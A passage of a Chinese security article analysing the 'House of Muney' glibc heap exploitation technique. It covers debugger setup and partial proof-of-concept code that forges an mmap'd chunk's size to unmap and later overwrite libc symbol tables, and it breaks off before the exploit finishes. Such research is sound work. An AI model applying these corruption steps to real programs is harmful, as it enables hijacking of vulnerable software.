行业新闻

House of Muney 分析

House of Muney 分析

 

Glibc带源码调试

因为在分析的最后涉及通过GDB调试来确定一些关键变量的取值,因此为了调试方便,在此处说明如何启动带源码的glibc调试

注:以下步骤均在ubuntu 21.04(Ubuntu GLIBC 2.31-0ubuntu9.2)测试通过。

安装debug版本的动态链接库

使用以下命令以安装带Debug符号的Libc文件

sudo apt-get install libc6-dbg libc6-dbg:i386
sudo apt-get install libc6-dev libc6-dev:i386

安装结束后,会在系统的/lib/debug下创建形如下图的目录

获取libc源码

确认source.listdeb-src项已经被解除注释

在待分析程序的同目录下使用以下命令获取libc源码

sudo apt source glibc

请注意!此命令会获取当前最新的ubuntu glibc源码,因此请保证当前的系统内的libc版本为最新

调试模式编译待调试程序(以PoC为例)

使用以下命令编译程序

gcc -z lazy -g -o munmap_rewrite munmap_rewrite.c

PS:其中,-z lazy用于保证PoC可用,与调试模式无关

使用gdb对待测程序进行附加,并执行相关环境配置

error404@Glibc-231:~$ gdb munmap_rewrite_normal
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from munmap_rewrite_normal...
pwndbg> set debug-file-directory /glibc-2.31/elf
pwndbg> dir /glibc-2.31/elf
Source directories searched: /glibc-2.31/elf:$cdir:$cwd
pwndbg> info share ld-linux
From                To                  Syms Read   Shared Object Library
0x00007ffff7fd0100  0x00007ffff7ff2674  Yes (*)     /lib64/ld-linux-x86-64.so.2
(*): Shared library is missing debugging information.
pwndbg> add-symbol-file /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7fd0100
add symbol table from file "/usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so" at
    .text_addr = 0x7ffff7fd0100
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so...

 

PoC 分析

“窃取”Glibc内存至堆中(RO -> NO)

首先分配一个Chunk阻止Top Chunk合并的发生

int* ptr1 = malloc(0x10);

随后申请两个特殊大小(0x100000)的Chunk(极大块),这种大小的Chunk将不会存放于常规的堆空间,而是放在特殊的mmaped区域。

long long* mmap_chunk_1 = malloc(0x100000);
printf("The first malloc chunk goes below LibC: %p\n", mmap_chunk_1);

long long* mmap_chunk_2 = malloc(0x100000);
printf("The second malloc chunk goes below the first malloc chunk: %p\n", mmap_chunk_2);

此时,内存布局情况为(逻辑图):

(由低地址向高地址排布)
常规堆区域
……
mmap_chunk_2
mmap_chunk_1
Glibc
……
LD 区域

内存布局情况为(实例图):

内存实际情况为(以上实例与本实例并非同一次运行):

可以看到,此时mmap_chunk_2mmap_chunk_1Prev_Size均为0Size均为0x101002

通过readelf -all /lib/x86_64-linux-gnu/libc.so.6glibc文件分析

我们的目标是覆盖.gnu.hash.dynsym,因此我们此处选用0x15000作为偏移(确保不会影响到.dynstr)

int libc_to_overwrite = 0x15000;

此外,我们还必须保证新的size为原来的两个size之和加上此偏移,而我们又已知chunksize存在标志位,那么实际大小计算为

int fake_chunk_size = (0xFFFFFFFFFD & mmap_chunk_2[-1]) + (0xFFFFFFFFFD & mmap_chunk_1[-1]);     
fake_chunk_size += libc_to_overwrite | 2;

执行覆盖操作

mmap_chunk_2[-1] = fake_chunk_size;

内存实际情况为:

接下来对mmap_chunk_2进行释放

free(mmap_chunk_2);

注意